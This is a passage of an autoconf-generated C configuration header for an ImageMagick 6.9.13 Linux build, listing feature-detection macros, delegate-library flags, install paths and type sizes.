MAGICKCORE_HAVE_GETRUSAGE 1 #endif /* Define to 1 if you have the 'gettimeofday' function. */ #ifndef MAGICKCORE_HAVE_GETTIMEOFDAY #define MAGICKCORE_HAVE_GETTIMEOFDAY 1 #endif /* Define to 1 if you have the 'gmtime_r' function. */ #ifndef MAGICKCORE_HAVE_GMTIME_R #define MAGICKCORE_HAVE_GMTIME_R 1 #endif /* [Compile with hugepage support] */ /* #undef HAVE_HUGEPAGES */ /* Define to 1 if the system has the type 'intmax_t'. */ #ifndef MAGICKCORE_HAVE_INTMAX_T #define MAGICKCORE_HAVE_INTMAX_T 1 #endif /* Define to 1 if the system has the type 'intptr_t'. */ #ifndef MAGICKCORE_HAVE_INTPTR_T #define MAGICKCORE_HAVE_INTPTR_T 1 #endif /* Define to 1 if you have the <inttypes.h> header file. */ #ifndef MAGICKCORE_HAVE_INTTYPES_H #define MAGICKCORE_HAVE_INTTYPES_H 1 #endif /* Define to 1 if you have the 'isnan' function. */ #ifndef MAGICKCORE_HAVE_ISNAN #define MAGICKCORE_HAVE_ISNAN 1 #endif /* Define to 1 if you have the 'j0' function. */ #ifndef MAGICKCORE_HAVE_J0 #define MAGICKCORE_HAVE_J0 1 #endif /* Define to 1 if you have the 'j1' function. */ #ifndef MAGICKCORE_HAVE_J1 #define MAGICKCORE_HAVE_J1 1 #endif /* Define if you have jemalloc memory allocation library */ /* #undef HAVE_JEMALLOC */ /* Define if you have the <lcms2.h> header file. */ #ifndef MAGICKCORE_HAVE_LCMS2_H #define MAGICKCORE_HAVE_LCMS2_H 1 #endif /* Define if you have the <lcms2/lcms2.h> header file. */ /* #undef HAVE_LCMS2_LCMS2_H */ /* Define to 1 if you have the 'gcov' library (-lgcov). */ /* #undef HAVE_LIBGCOV */ /* Define to 1 if you have the <limits.h> header file. */ #ifndef MAGICKCORE_HAVE_LIMITS_H #define MAGICKCORE_HAVE_LIMITS_H 1 #endif /* Define if you have Linux-compatible sendfile() */ #ifndef MAGICKCORE_HAVE_LINUX_SENDFILE #define MAGICKCORE_HAVE_LINUX_SENDFILE 1 #endif /* Define to 1 if you have the <linux/unistd.h> header file. */ #ifndef MAGICKCORE_HAVE_LINUX_UNISTD_H #define MAGICKCORE_HAVE_LINUX_UNISTD_H 1 #endif /* Define to 1 if you have the 'lltostr' function. */ /* #undef HAVE_LLTOSTR */ /* Define to 1 if you have the <locale.h> header file. */ #ifndef MAGICKCORE_HAVE_LOCALE_H #define MAGICKCORE_HAVE_LOCALE_H 1 #endif /* Define to 1 if you have the 'localtime_r' function. */ #ifndef MAGICKCORE_HAVE_LOCALTIME_R #define MAGICKCORE_HAVE_LOCALTIME_R 1 #endif /* Define to 1 if the system has the type 'long long int'. */ #ifndef MAGICKCORE_HAVE_LONG_LONG_INT #define MAGICKCORE_HAVE_LONG_LONG_INT 1 #endif /* Define to 1 if you have the 'lstat' function. */ #ifndef MAGICKCORE_HAVE_LSTAT #define MAGICKCORE_HAVE_LSTAT 1 #endif /* Define to 1 if you have the <machine/param.h> header file. */ /* #undef HAVE_MACHINE_PARAM_H */ /* Define to 1 if you have the <mach-o/dyld.h> header file. */ /* #undef HAVE_MACH_O_DYLD_H */ /* Define to 1 if you have the <malloc.h> header file. */ #ifndef MAGICKCORE_HAVE_MALLOC_H #define MAGICKCORE_HAVE_MALLOC_H 1 #endif /* Define to 1 if <wchar.h> declares mbstate_t. */ #ifndef MAGICKCORE_HAVE_MBSTATE_T #define MAGICKCORE_HAVE_MBSTATE_T 1 #endif /* Define to 1 if you have the 'memmove' function. */ #ifndef MAGICKCORE_HAVE_MEMMOVE #define MAGICKCORE_HAVE_MEMMOVE 1 #endif /* Define to 1 if you have the 'memset' function. */ #ifndef MAGICKCORE_HAVE_MEMSET #define MAGICKCORE_HAVE_MEMSET 1 #endif /* Define to 1 if you have the <minix/config.h> header file. */ /* #undef HAVE_MINIX_CONFIG_H */ /* Define to 1 if you have the 'mkdir' function. */ #ifndef MAGICKCORE_HAVE_MKDIR #define MAGICKCORE_HAVE_MKDIR 1 #endif /* Define to 1 if you have the 'mkstemp' function. */ #ifndef MAGICKCORE_HAVE_MKSTEMP #define MAGICKCORE_HAVE_MKSTEMP 1 #endif /* Define to 1 if you have a working 'mmap' system call. */ #ifndef MAGICKCORE_HAVE_MMAP #define MAGICKCORE_HAVE_MMAP 1 #endif /* Define if you have the mtmalloc memory allocation library */ /* #undef HAVE_MTMALLOC */ /* Define to 1 if you have the 'munmap' function. */ #ifndef MAGICKCORE_HAVE_MUNMAP #define MAGICKCORE_HAVE_MUNMAP 1 #endif /* define if the compiler implements namespaces */ #ifndef MAGICKCORE_HAVE_NAMESPACES #define MAGICKCORE_HAVE_NAMESPACES /**/ #endif /* Define if g++ supports namespace std. */ #ifndef MAGICKCORE_HAVE_NAMESPACE_STD #define MAGICKCORE_HAVE_NAMESPACE_STD /**/ #endif /* Define to 1 if you have the 'nanosleep' function. */ #ifndef MAGICKCORE_HAVE_NANOSLEEP #define MAGICKCORE_HAVE_NANOSLEEP 1 #endif /* Define to 1 if you have the <ndir.h> header file, and it defines 'DIR'. */ /* #undef HAVE_NDIR_H */ /* Define to 1 if you have the <netdb.h> header file. */ #ifndef MAGICKCORE_HAVE_NETDB_H #define MAGICKCORE_HAVE_NETDB_H 1 #endif /* Define to 1 if you have the <netinet/in.h> header file. */ #ifndef MAGICKCORE_HAVE_NETINET_IN_H #define MAGICKCORE_HAVE_NETINET_IN_H 1 #endif /* Define to 1 if you have the 'newlocale' function. */ #ifndef MAGICKCORE_HAVE_NEWLOCALE #define MAGICKCORE_HAVE_NEWLOCALE 1 #endif /* Define to 1 if you have the <OpenCL/cl.h> header file. */ /* #undef HAVE_OPENCL_CL_H */ /* Define to 1 if you have the <OS.h> header file. */ /* #undef HAVE_OS_H */ /* Define to 1 if you have the 'pclose' function. */ #ifndef MAGICKCORE_HAVE_PCLOSE #define MAGICKCORE_HAVE_PCLOSE 1 #endif /* Define to 1 if you have the 'poll' function. */ #ifndef MAGICKCORE_HAVE_POLL #define MAGICKCORE_HAVE_POLL 1 #endif /* Define to 1 if you have the 'popen' function. */ #ifndef MAGICKCORE_HAVE_POPEN #define MAGICKCORE_HAVE_POPEN 1 #endif /* Define to 1 if you have the 'posix_fadvise' function. */ #ifndef MAGICKCORE_HAVE_POSIX_FADVISE #define MAGICKCORE_HAVE_POSIX_FADVISE 1 #endif /* Define to 1 if you have the 'posix_fallocate' function. */ #ifndef MAGICKCORE_HAVE_POSIX_FALLOCATE #define MAGICKCORE_HAVE_POSIX_FALLOCATE 1 #endif /* Define to 1 if you have the 'posix_madvise' function. */ #ifndef MAGICKCORE_HAVE_POSIX_MADVISE #define MAGICKCORE_HAVE_POSIX_MADVISE 1 #endif /* Define to 1 if you have the 'posix_memalign' function. */ #ifndef MAGICKCORE_HAVE_POSIX_MEMALIGN #define MAGICKCORE_HAVE_POSIX_MEMALIGN 1 #endif /* Define to 1 if you have the 'posix_spawnp' function. */ #ifndef MAGICKCORE_HAVE_POSIX_SPAWNP #define MAGICKCORE_HAVE_POSIX_SPAWNP 1 #endif /* Define to 1 if you have the 'pow' function. */ #ifndef MAGICKCORE_HAVE_POW #define MAGICKCORE_HAVE_POW 1 #endif /* Define to 1 if you have the 'pread' function. */ #ifndef MAGICKCORE_HAVE_PREAD #define MAGICKCORE_HAVE_PREAD 1 #endif /* Define to 1 if you have the <process.h> header file. */ /* #undef HAVE_PROCESS_H */ /* Define if you have POSIX threads libraries and header files. */ #ifndef MAGICKCORE_HAVE_PTHREAD #define MAGICKCORE_HAVE_PTHREAD 1 #endif /* Have PTHREAD_PRIO_INHERIT. */ #ifndef MAGICKCORE_HAVE_PTHREAD_PRIO_INHERIT #define MAGICKCORE_HAVE_PTHREAD_PRIO_INHERIT 1 #endif /* Define to 1 if you have the 'putenv' function. */ #ifndef MAGICKCORE_HAVE_PUTENV #define MAGICKCORE_HAVE_PUTENV 1 #endif /* Define to 1 if you have the 'pwrite' function. */ #ifndef MAGICKCORE_HAVE_PWRITE #define MAGICKCORE_HAVE_PWRITE 1 #endif /* Define to 1 if you have the 'qsort_r' function. */ #ifndef MAGICKCORE_HAVE_QSORT_R #define MAGICKCORE_HAVE_QSORT_R 1 #endif /* Define to 1 if you have the 'raise' function. */ #ifndef MAGICKCORE_HAVE_RAISE #define MAGICKCORE_HAVE_RAISE 1 #endif /* Define to 1 if you have the 'rand_r' function. */ #ifndef MAGICKCORE_HAVE_RAND_R #define MAGICKCORE_HAVE_RAND_R 1 #endif /* Define to 1 if you have the 'readlink' function. */ #ifndef MAGICKCORE_HAVE_READLINK #define MAGICKCORE_HAVE_READLINK 1 #endif /* Define to 1 if you have the 'realpath' function. */ #ifndef MAGICKCORE_HAVE_REALPATH #define MAGICKCORE_HAVE_REALPATH 1 #endif /* Define to 1 if you have the 'seekdir' function. */ #ifndef MAGICKCORE_HAVE_SEEKDIR #define MAGICKCORE_HAVE_SEEKDIR 1 #endif /* Define to 1 if you have the 'select' function. */ #ifndef MAGICKCORE_HAVE_SELECT #define MAGICKCORE_HAVE_SELECT 1 #endif /* Define to 1 if you have the 'sendfile' function. */ #ifndef MAGICKCORE_HAVE_SENDFILE #define MAGICKCORE_HAVE_SENDFILE 1 #endif /* Define to 1 if you have the 'setlocale' function. */ #ifndef MAGICKCORE_HAVE_SETLOCALE #define MAGICKCORE_HAVE_SETLOCALE 1 #endif /* Define to 1 if you have the 'setvbuf' function. */ #ifndef MAGICKCORE_HAVE_SETVBUF #define MAGICKCORE_HAVE_SETVBUF 1 #endif /* X11 server supports shape extension */ #ifndef MAGICKCORE_HAVE_SHAPE #define MAGICKCORE_HAVE_SHAPE 1 #endif /* X11 server supports shared memory extension */ #ifndef MAGICKCORE_HAVE_SHARED_MEMORY #define MAGICKCORE_HAVE_SHARED_MEMORY 1 #endif /* Define to 1 if you have the 'sigaction' function. */ #ifndef MAGICKCORE_HAVE_SIGACTION #define MAGICKCORE_HAVE_SIGACTION 1 #endif /* Define to 1 if you have the 'sigemptyset' function. */ #ifndef MAGICKCORE_HAVE_SIGEMPTYSET #define MAGICKCORE_HAVE_SIGEMPTYSET 1 #endif /* Define to 1 if you have the 'socket' function. */ #ifndef MAGICKCORE_HAVE_SOCKET #define MAGICKCORE_HAVE_SOCKET 1 #endif /* Define to 1 if you have the 'spawnvp' function. */ /* #undef HAVE_SPAWNVP */ /* Define to 1 if you have the 'sqrt' function. */ #ifndef MAGICKCORE_HAVE_SQRT #define MAGICKCORE_HAVE_SQRT 1 #endif /* Define to 1 if you have the 'stat' function. */ #ifndef MAGICKCORE_HAVE_STAT #define MAGICKCORE_HAVE_STAT 1 #endif /* Define to 1 if you have the <stdarg.h> header file. */ #ifndef MAGICKCORE_HAVE_STDARG_H #define MAGICKCORE_HAVE_STDARG_H 1 #endif /* Define to 1 if stdbool.h conforms to C99. */ #ifndef MAGICKCORE_HAVE_STDBOOL_H #define MAGICKCORE_HAVE_STDBOOL_H 1 #endif /* Define to 1 if you have the <stddef.h> header file. */ #ifndef MAGICKCORE_HAVE_STDDEF_H #define MAGICKCORE_HAVE_STDDEF_H 1 #endif /* Define to 1 if you have the <stdint.h> header file. */ #ifndef MAGICKCORE_HAVE_STDINT_H #define MAGICKCORE_HAVE_STDINT_H 1 #endif /* Define to 1 if you have the <stdio.h> header file. */ /* #undef HAVE_STDIO_H */ /* Define to 1 if you have the <stdlib.h> header file. */ #ifndef MAGICKCORE_HAVE_STDLIB_H #define MAGICKCORE_HAVE_STDLIB_H 1 #endif /* Define to 1 if you have the 'strcasecmp' function. */ #ifndef MAGICKCORE_HAVE_STRCASECMP #define MAGICKCORE_HAVE_STRCASECMP 1 #endif /* Define to 1 if you have the 'strcasestr' function. */ #ifndef MAGICKCORE_HAVE_STRCASESTR #define MAGICKCORE_HAVE_STRCASESTR 1 #endif /* Define to 1 if you have the 'strchr' function. */ #ifndef MAGICKCORE_HAVE_STRCHR #define MAGICKCORE_HAVE_STRCHR 1 #endif /* Define to 1 if you have the 'strcspn' function. */ #ifndef MAGICKCORE_HAVE_STRCSPN #define MAGICKCORE_HAVE_STRCSPN 1 #endif /* Define to 1 if you have the 'strdup' function. */ #ifndef MAGICKCORE_HAVE_STRDUP #define MAGICKCORE_HAVE_STRDUP 1 #endif /* Define to 1 if you have the 'strerror' function. */ #ifndef MAGICKCORE_HAVE_STRERROR #define MAGICKCORE_HAVE_STRERROR 1 #endif /* Define if you have 'strerror_r'. */ #ifndef MAGICKCORE_HAVE_STRERROR_R #define MAGICKCORE_HAVE_STRERROR_R 1 #endif /* Define to 1 if cpp supports the ANSI # stringizing operator. */ #ifndef MAGICKCORE_HAVE_STRINGIZE #define MAGICKCORE_HAVE_STRINGIZE 1 #endif /* Define to 1 if you have the <strings.h> header file. */ #ifndef MAGICKCORE_HAVE_STRINGS_H #define MAGICKCORE_HAVE_STRINGS_H 1 #endif /* Define to 1 if you have the <string.h> header file. */ #ifndef MAGICKCORE_HAVE_STRING_H #define MAGICKCORE_HAVE_STRING_H 1 #endif /* Define to 1 if you have the 'strlcat' function. */ /* #undef HAVE_STRLCAT */ /* Define to 1 if you have the 'strlcpy' function. */ /* #undef HAVE_STRLCPY */ /* Define to 1 if you have the 'strncasecmp' function. */ #ifndef MAGICKCORE_HAVE_STRNCASECMP #define MAGICKCORE_HAVE_STRNCASECMP 1 #endif /* Define to 1 if you have the 'strpbrk' function. */ #ifndef MAGICKCORE_HAVE_STRPBRK #define MAGICKCORE_HAVE_STRPBRK 1 #endif /* Define to 1 if you have the 'strrchr' function. */ #ifndef MAGICKCORE_HAVE_STRRCHR #define MAGICKCORE_HAVE_STRRCHR 1 #endif /* Define to 1 if you have the 'strspn' function. */ #ifndef MAGICKCORE_HAVE_STRSPN #define MAGICKCORE_HAVE_STRSPN 1 #endif /* Define to 1 if you have the 'strstr' function. */ #ifndef MAGICKCORE_HAVE_STRSTR #define MAGICKCORE_HAVE_STRSTR 1 #endif /* Define to 1 if you have the 'strtod' function. */ #ifndef MAGICKCORE_HAVE_STRTOD #define MAGICKCORE_HAVE_STRTOD 1 #endif /* Define to 1 if you have the 'strtod_l' function. */ #ifndef MAGICKCORE_HAVE_STRTOD_L #define MAGICKCORE_HAVE_STRTOD_L 1 #endif /* Define to 1 if you have the 'strtol' function. */ #ifndef MAGICKCORE_HAVE_STRTOL #define MAGICKCORE_HAVE_STRTOL 1 #endif /* Define to 1 if you have the 'strtoul' function. */ #ifndef MAGICKCORE_HAVE_STRTOUL #define MAGICKCORE_HAVE_STRTOUL 1 #endif /* Define to 1 if 'tm_zone' is a member of 'struct tm'. */ #ifndef MAGICKCORE_HAVE_STRUCT_TM_TM_ZONE #define MAGICKCORE_HAVE_STRUCT_TM_TM_ZONE 1 #endif /* Define to 1 if you have the <sun_prefetch.h> header file. */ /* #undef HAVE_SUN_PREFETCH_H */ /* Define to 1 if you have the 'symlink' function. */ #ifndef MAGICKCORE_HAVE_SYMLINK #define MAGICKCORE_HAVE_SYMLINK 1 #endif /* Define to 1 if you have the 'sysconf' function. */ #ifndef MAGICKCORE_HAVE_SYSCONF #define MAGICKCORE_HAVE_SYSCONF 1 #endif /* Define to 1 if you have the 'system' function. */ #ifndef MAGICKCORE_HAVE_SYSTEM #define MAGICKCORE_HAVE_SYSTEM 1 #endif /* Define to 1 if you have the <sys/dir.h> header file, and it defines 'DIR'. */ /* #undef HAVE_SYS_DIR_H */ /* Define to 1 if you have the <sys/ipc.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_IPC_H #define MAGICKCORE_HAVE_SYS_IPC_H 1 #endif /* Define to 1 if you have the <sys/mman.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_MMAN_H #define MAGICKCORE_HAVE_SYS_MMAN_H 1 #endif /* Define to 1 if you have the <sys/ndir.h> header file, and it defines 'DIR'. */ /* #undef HAVE_SYS_NDIR_H */ /* Define to 1 if you have the <sys/param.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_PARAM_H #define MAGICKCORE_HAVE_SYS_PARAM_H 1 #endif /* Define to 1 if you have the <sys/resource.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_RESOURCE_H #define MAGICKCORE_HAVE_SYS_RESOURCE_H 1 #endif /* Define to 1 if you have the <sys/sendfile.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_SENDFILE_H #define MAGICKCORE_HAVE_SYS_SENDFILE_H 1 #endif /* Define to 1 if you have the <sys/socket.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_SOCKET_H #define MAGICKCORE_HAVE_SYS_SOCKET_H 1 #endif /* Define to 1 if you have the <sys/stat.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_STAT_H #define MAGICKCORE_HAVE_SYS_STAT_H 1 #endif /* Define to 1 if you have the <sys/syslimits.h> header file. */ /* #undef HAVE_SYS_SYSLIMITS_H */ /* Define to 1 if you have the <sys/times.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_TIMES_H #define MAGICKCORE_HAVE_SYS_TIMES_H 1 #endif /* Define to 1 if you have the <sys/time.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_TIME_H #define MAGICKCORE_HAVE_SYS_TIME_H 1 #endif /* Define to 1 if you have the <sys/types.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_TYPES_H #define MAGICKCORE_HAVE_SYS_TYPES_H 1 #endif /* Define to 1 if you have the <sys/uio.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_UIO_H #define MAGICKCORE_HAVE_SYS_UIO_H 1 #endif /* Define to 1 if you have the <sys/wait.h> header file. */ #ifndef MAGICKCORE_HAVE_SYS_WAIT_H #define MAGICKCORE_HAVE_SYS_WAIT_H 1 #endif /* Define if you have the tcmalloc memory allocation library */ /* #undef HAVE_TCMALLOC */ /* Define to 1 if you have the 'telldir' function. */ #ifndef MAGICKCORE_HAVE_TELLDIR #define MAGICKCORE_HAVE_TELLDIR 1 #endif /* Define to 1 if you have the 'tempnam' function. */ #ifndef MAGICKCORE_HAVE_TEMPNAM #define MAGICKCORE_HAVE_TEMPNAM 1 #endif /* Define to 1 if you have the 'times' function. */ #ifndef MAGICKCORE_HAVE_TIMES #define MAGICKCORE_HAVE_TIMES 1 #endif /* Define to 1 if your 'struct tm' has 'tm_zone'. Deprecated, use 'HAVE_STRUCT_TM_TM_ZONE' instead. */ #ifndef MAGICKCORE_HAVE_TM_ZONE #define MAGICKCORE_HAVE_TM_ZONE 1 #endif /* Define to 1 if you don't have 'tm_zone' but do have the external array 'tzname'. */ /* #undef HAVE_TZNAME */ /* Define to 1 if the system has the type 'uintmax_t'. */ #ifndef MAGICKCORE_HAVE_UINTMAX_T #define MAGICKCORE_HAVE_UINTMAX_T 1 #endif /* Define to 1 if the system has the type 'uintptr_t'. */ #ifndef MAGICKCORE_HAVE_UINTPTR_T #define MAGICKCORE_HAVE_UINTPTR_T 1 #endif /* Define to 1 if you have the 'ulltostr' function. */ /* #undef HAVE_ULLTOSTR */ /* Define if you have umem memory allocation library */ /* #undef HAVE_UMEM */ /* Define to 1 if you have the <unistd.h> header file. */ #ifndef MAGICKCORE_HAVE_UNISTD_H #define MAGICKCORE_HAVE_UNISTD_H 1 #endif /* Define to 1 if the system has the type 'unsigned long long int'. */ #ifndef MAGICKCORE_HAVE_UNSIGNED_LONG_LONG_INT #define MAGICKCORE_HAVE_UNSIGNED_LONG_LONG_INT 1 #endif /* Define to 1 if you have the 'uselocale' function. */ #ifndef MAGICKCORE_HAVE_USELOCALE #define MAGICKCORE_HAVE_USELOCALE 1 #endif /* Define to 1 if you have the 'usleep' function. */ #ifndef MAGICKCORE_HAVE_USLEEP #define MAGICKCORE_HAVE_USLEEP 1 #endif /* Define to 1 if you have the 'utime' function. */ #ifndef MAGICKCORE_HAVE_UTIME #define MAGICKCORE_HAVE_UTIME 1 #endif /* Define to 1 if you have the <utime.h> header file. */ #ifndef MAGICKCORE_HAVE_UTIME_H #define MAGICKCORE_HAVE_UTIME_H 1 #endif /* Define to 1 if you have the 'vfprintf' function. */ #ifndef MAGICKCORE_HAVE_VFPRINTF #define MAGICKCORE_HAVE_VFPRINTF 1 #endif /* Define to 1 if you have the 'vfprintf_l' function. */ /* #undef HAVE_VFPRINTF_L */ /* Define to 1 if you have the 'vsnprintf' function. */ #ifndef MAGICKCORE_HAVE_VSNPRINTF #define MAGICKCORE_HAVE_VSNPRINTF 1 #endif /* Define to 1 if you have the 'vsnprintf_l' function. */ /* #undef HAVE_VSNPRINTF_L */ /* Define to 1 if you have the 'vsprintf' function. */ #ifndef MAGICKCORE_HAVE_VSPRINTF #define MAGICKCORE_HAVE_VSPRINTF 1 #endif /* Define to 1 if you have the 'waitpid' function. */ #ifndef MAGICKCORE_HAVE_WAITPID #define MAGICKCORE_HAVE_WAITPID 1 #endif /* Define to 1 if you have the <wchar.h> header file. */ #ifndef MAGICKCORE_HAVE_WCHAR_H #define MAGICKCORE_HAVE_WCHAR_H 1 #endif /* Define to 1 if you have the <xlocale.h> header file. */ /* #undef HAVE_XLOCALE_H */ /* Define to 1 if you have the '_aligned_malloc' function. */ /* #undef HAVE__ALIGNED_MALLOC */ /* Define to 1 if the system has the type '_Bool'. */ #ifndef MAGICKCORE_HAVE__BOOL #define MAGICKCORE_HAVE__BOOL 1 #endif /* Define to 1 if you have the '_exit' function. */ #ifndef MAGICKCORE_HAVE__EXIT #define MAGICKCORE_HAVE__EXIT 1 #endif /* Define to 1 if you have the '_NSGetExecutablePath' function. */ /* #undef HAVE__NSGETEXECUTABLEPATH */ /* Define to 1 if you have the '_pclose' function. */ /* #undef HAVE__PCLOSE */ /* Define to 1 if you have the '_popen' function. */ /* #undef HAVE__POPEN */ /* Define to 1 if you have the '_wfopen' function. */ /* #undef HAVE__WFOPEN */ /* Define to 1 if you have the '_wstat' function. */ /* #undef HAVE__WSTAT */ /* define if your compiler has __attribute__ */ #ifndef MAGICKCORE_HAVE___ATTRIBUTE__ #define MAGICKCORE_HAVE___ATTRIBUTE__ 1 #endif /* Whether hdri is enabled or not */ #ifndef MAGICKCORE_HDRI_ENABLE_OBSOLETE_IN_H #define MAGICKCORE_HDRI_ENABLE_OBSOLETE_IN_H 0 #endif /* Define if you have libheif library */ /* #undef HEIC_DELEGATE */ /* Directory where ImageMagick architecture headers live. */ #ifndef MAGICKCORE_INCLUDEARCH_PATH #define MAGICKCORE_INCLUDEARCH_PATH "/usr/include/ImageMagick-6/" #endif /* Directory where ImageMagick headers live. */ #ifndef MAGICKCORE_INCLUDE_PATH #define MAGICKCORE_INCLUDE_PATH "/usr/include/ImageMagick-6/" #endif /* ImageMagick is formally installed under prefix */ #ifndef MAGICKCORE_INSTALLED_SUPPORT #define MAGICKCORE_INSTALLED_SUPPORT 1 #endif /* Define if you have JBIG library */ #ifndef MAGICKCORE_JBIG_DELEGATE #define MAGICKCORE_JBIG_DELEGATE 1 #endif /* Define if you have JPEG library */ #ifndef MAGICKCORE_JPEG_DELEGATE #define MAGICKCORE_JPEG_DELEGATE 1 #endif /* Define if you have LCMS library */ #ifndef MAGICKCORE_LCMS_DELEGATE #define MAGICKCORE_LCMS_DELEGATE 1 #endif /* Define if you have OPENJP2 library */ #ifndef MAGICKCORE_LIBOPENJP2_DELEGATE #define MAGICKCORE_LIBOPENJP2_DELEGATE 1 #endif /* Directory where architecture-dependent files live. */ #ifndef MAGICKCORE_LIBRARY_ABSOLUTE_PATH #define MAGICKCORE_LIBRARY_ABSOLUTE_PATH "/usr/lib64/ImageMagick-6.9.13/" #endif /* Subdirectory of lib where ImageMagick architecture dependent files are installed. */ #ifndef MAGICKCORE_LIBRARY_RELATIVE_PATH #define MAGICKCORE_LIBRARY_RELATIVE_PATH "ImageMagick-6.9.13" #endif /* Binaries in libraries path base name (will be during install linked to bin) */ #ifndef MAGICKCORE_LIB_BIN_BASEDIRNAME #define MAGICKCORE_LIB_BIN_BASEDIRNAME "bin" #endif /* Define if you have LQR library */ /* #undef LQR_DELEGATE */ /* Define if using libltdl to support dynamically loadable modules and OpenCL */ #ifndef MAGICKCORE_LTDL_DELEGATE #define MAGICKCORE_LTDL_DELEGATE 1 #endif /* Native module suffix */ #ifndef MAGICKCORE_LTDL_MODULE_EXT #define MAGICKCORE_LTDL_MODULE_EXT ".so" #endif /* Define to the sub-directory where libtool stores uninstalled libraries. */ #ifndef MAGICKCORE_LT_OBJDIR #define MAGICKCORE_LT_OBJDIR ".libs/" #endif /* Define if you have LZMA library */ #ifndef MAGICKCORE_LZMA_DELEGATE #define MAGICKCORE_LZMA_DELEGATE 1 #endif /* Define to prepend to default font search path. */ /* #undef MAGICK_FONT_PATH */ /* Target Host CPU */ #ifndef MAGICKCORE_MAGICK_TARGET_CPU #define MAGICKCORE_MAGICK_TARGET_CPU x86_64 #endif /* Target Host OS */ #ifndef MAGICKCORE_MAGICK_TARGET_OS #define MAGICKCORE_MAGICK_TARGET_OS linux-gnu #endif /* Target Host Vendor */ #ifndef MAGICKCORE_MAGICK_TARGET_VENDOR #define MAGICKCORE_MAGICK_TARGET_VENDOR redhat #endif /* Module directory name without ABI part. */ #ifndef MAGICKCORE_MODULES_BASEDIRNAME #define MAGICKCORE_MODULES_BASEDIRNAME "modules" #endif /* Module directory dirname */ /* #undef MODULES_DIRNAME */ /* Magick API method prefix */ /* #undef NAMESPACE_PREFIX */ /* Magick API method prefix tag */ /* #undef NAMESPACE_PREFIX_TAG */ /* Define to 1 if assertions should be disabled. */ /* #undef NDEBUG */ /* Define if you have OPENEXR library */ #ifndef MAGICKCORE_OPENEXR_DELEGATE #define MAGICKCORE_OPENEXR_DELEGATE 1 #endif /* Define to the address where bug reports for this package should be sent. */ #ifndef MAGICKCORE_PACKAGE_BUGREPORT #define MAGICKCORE_PACKAGE_BUGREPORT "https://github.com/ImageMagick/ImageMagick6/issues" #endif /* Define to the full name of this package. */ #ifndef MAGICKCORE_PACKAGE_NAME #define MAGICKCORE_PACKAGE_NAME "ImageMagick" #endif /* Define to the full name and version of this package. */ #ifndef MAGICKCORE_PACKAGE_STRING #define MAGICKCORE_PACKAGE_STRING "ImageMagick 6.9.13-25" #endif /* Define to the one symbol short name of this package. */ #ifndef MAGICKCORE_PACKAGE_TARNAME #define MAGICKCORE_PACKAGE_TARNAME "ImageMagick" #endif /* Define to the home page for this package. */ #ifndef MAGICKCORE_PACKAGE_URL #define MAGICKCORE_PACKAGE_URL "https://legacy.imagemagick.org" #endif /* Define to the version of this package. */ #ifndef MAGICKCORE_PACKAGE_VERSION #define MAGICKCORE_PACKAGE_VERSION "6.9.13-25" #endif /* Define if you have PANGOCAIRO library */ #ifndef MAGICKCORE_PANGOCAIRO_DELEGATE #define MAGICKCORE_PANGOCAIRO_DELEGATE 1 #endif /* Define if you have PANGO library */ #ifndef MAGICKCORE_PANGO_DELEGATE #define MAGICKCORE_PANGO_DELEGATE 1 #endif /* enable pipes (|) in filenames */ /* #undef PIPES_SUPPORT */ /* Define if you have PNG library */ #ifndef MAGICKCORE_PNG_DELEGATE #define MAGICKCORE_PNG_DELEGATE 1 #endif /* Define to necessary symbol if this constant uses a non-standard name on your system. */ /* #undef PTHREAD_CREATE_JOINABLE */ /* Pixel cache memory threshold (defaults to available memory) */ /* #undef PixelCacheThreshold */ /* Number of bits in a pixel Quantum (8/16/32/64) */ #ifndef MAGICKCORE_QUANTUM_DEPTH_OBSOLETE_IN_H #define MAGICKCORE_QUANTUM_DEPTH_OBSOLETE_IN_H 16 #endif /* Define if you have RAQM library */ #ifndef MAGICKCORE_RAQM_DELEGATE #define MAGICKCORE_RAQM_DELEGATE 1 #endif /* Define if you have LIBRAW library */ #ifndef MAGICKCORE_RAW_R_DELEGATE #define MAGICKCORE_RAW_R_DELEGATE 1 #endif /* Define if you have RSVG library */ #ifndef MAGICKCORE_RSVG_DELEGATE #define MAGICKCORE_RSVG_DELEGATE 1 #endif /* Setjmp/longjmp are thread safe */ #ifndef MAGICKCORE_SETJMP_IS_THREAD_SAFE #define MAGICKCORE_SETJMP_IS_THREAD_SAFE 1 #endif /* Sharearch directory name without ABI part. */ #ifndef MAGICKCORE_SHAREARCH_BASEDIRNAME #define MAGICKCORE_SHAREARCH_BASEDIRNAME "config" #endif /* Sharearch directory dirname */ /* #undef SHAREARCH_DIRNAME */ /* Directory where architecture-independent configuration files live. */ #ifndef MAGICKCORE_SHARE_PATH #define MAGICKCORE_SHARE_PATH "/usr/share/ImageMagick-6/" #endif /* Subdirectory of lib where architecture-independent configuration files live. */ #ifndef MAGICKCORE_SHARE_RELATIVE_PATH #define MAGICKCORE_SHARE_RELATIVE_PATH "ImageMagick-6" #endif /* The size of 'double', as computed by sizeof. */ #ifndef MAGICKCORE_SIZEOF_DOUBLE #define MAGICKCORE_SIZEOF_DOUBLE 8 #endif /* The size of 'double_t', as computed by sizeof. */ #ifndef MAGICKCORE_SIZEOF_DOUBLE_T #define MAGICKCORE_SIZEOF_DOUBLE_T 8 #endif /* The size of 'float', as computed by sizeof. */ #ifndef MAGICKCORE_SIZEOF_FLOAT #define MAGICKCORE_SIZEOF_FLOAT 4 #endif /* The size of 'float_t', as computed by sizeof. */ #ifndef MAGICKCORE_SIZEOF_FLOAT_T #define MAGICKCORE_SIZEOF_FLOAT_T 4 #endif /* The size of 'long double', as computed by sizeof. */ #ifndef MAGICKCORE_SIZEOF_LONG_DOUBLE #define MAGICKCORE_SIZEOF_LONG_DOUBLE 16 #endif /* The size of 'size_t', as computed by sizeof. */ #ifndef MAGICKCORE_SIZEOF_SIZE_T #define MAGICKCORE_SIZEOF_SIZE_T 8 #endif /* The size of 'unsigned long long', as computed by sizeof. */ #ifndef MAGICKCORE_SIZEOF_UNSIGNED_LONG_LONG #define 